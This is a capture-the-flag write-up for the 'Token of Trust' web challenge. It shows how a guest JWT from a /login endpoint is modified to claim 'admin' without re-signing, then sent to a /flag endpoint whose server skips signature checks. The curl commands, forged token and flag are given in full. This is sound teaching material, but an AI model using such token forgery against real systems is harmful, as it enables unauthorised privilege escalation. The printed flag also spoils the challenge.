Token of Trust
Background
At first, this web app seems straightforward, but there’s something more lurking beneath the surface. It relies on a token for user authentication, but not everything is as secure as it seems. Look closely, and you might discover that the system’s trust can be manipulated.
The secret is hidden within the way this token is used. Can you find the key to unlock what’s been concealed? The challenge is waiting for you to crack it.
Submit your answer in the following format: ACECTF{3x4mpl3_fl4g}
- Difficulty: Easy
- This challenge doesn't have source code
Enumeration
Index page:
The index page tells us that if we want to log in, we have to visit /login
endpoint:
The page says that we have to send a POST request with JSON payload like: {"user":"ace","pass":"ctf"}
and it's doesn't care about our credentials. So I will use curl
to test this endpoint:
┌──(vodanh㉿kali)-[~]
└─$ curl -X POST -H "Content-Type: application/json" -d '{"user":"ace","pass":"ctf"}' http://34.131.133.224:9999/login
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QifQ.JT3l4_NkVbkQuZpl62b9h8NCZ3cTcypEGZ1lULWR47M"}
Remember to set the Content-Type header to application/json if you want to send request with JSON data!
It will response to us with a token. This token has the JWT
format, I will use jwt.io to see the content of this JWT
:
This JWT
's algorithm is HS256
and with this JWT
, we are currently a guest
user. But the problem here is, what do we do with this token, because we don't know any endpoint to send this token to. If we try to send POST request to the endpoint /login
with this token, it will return:
┌──(vodanh㉿kali)-[~]
└─$ curl -X POST -H "Content-Type: application/json" -d '{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QifQ.JT3l4_NkVbkQuZpl62b9h8NCZ3cTcypEGZ1lULWR47M"}' http://34.131.133.224:9999/login
Invalid POST data. Did you forget the magic JSON format?
And if we POST the token with user
and pass
, it will return the token again:
┌──(vodanh㉿kali)-[~]
└─$ curl -X POST -H "Content-Type: application/json" -d '{"user":"ace","pass":"ctf","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QifQ.JT3l4_NkVbkQuZpl62b9h8NCZ3cTcypEGZ1lULWR47M"}' http://34.131.133.224:9999/login
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QifQ.JT3l4_NkVbkQuZpl62b9h8NCZ3cTcypEGZ1lULWR47M"}
I have checked through the source page, but nothing special. So I decides to check if this page has the robots.txt
file:
And yes! This page has the robots.txt
file and it's telling us this page has the endpoint /flag
. I will send POST request to this endpoint to see how it responses:
┌──(vodanh㉿kali)-[~]
└─$ curl -X POST http://34.131.133.224:9999/flag
No token? No flag! Bring me a token, and we'll talk. 👀
So we need to POST to it a token. We don't know the format of the data to send to this endpoint, so we will try with the JSON data:
┌──(vodanh㉿kali)-[~]
└─$ curl -X POST -H "Content-Type: application/json" -d '{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QifQ.JT3l4_NkVbkQuZpl62b9h8NCZ3cTcypEGZ1lULWR47M"}' http://34.131.133.224:9999/flag
Sorry, you're not the admin. No flag for you! 😝
Exploitation
It says that we are not the admin. So we need to change the value of the user
key of the JWT
from guest
to admin
. There's a problem that if we want to change any value of the JWT
, we will need to know the secret key, otherwise we can't have a valid JWT
because of the signature
part. But we will try to change the value without the secret key, maybe the server won't check the signature verfication:
Send this new JWT
to the /flag
endpoint:
┌──(vodanh㉿kali)-[~]
└─$ curl -X POST -H "Content-Type: application/json" -d '{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.lo6cc_YVMrNFnffGek_avzLJ_mgkuvBsSz52NO3_6Kk"}' http://34.131.133.224:9999/flag
ACECTF{jwt_cr4ck3d_4dm1n_4cce55_0bt41n3d!}
Luckily, we got the flag!
- Flag:
ACECTF{jwt_cr4ck3d_4dm1n_4cce55_0bt41n3d!}
Conclusion
What we've learned:
- JWT authentication bypass via payload header injection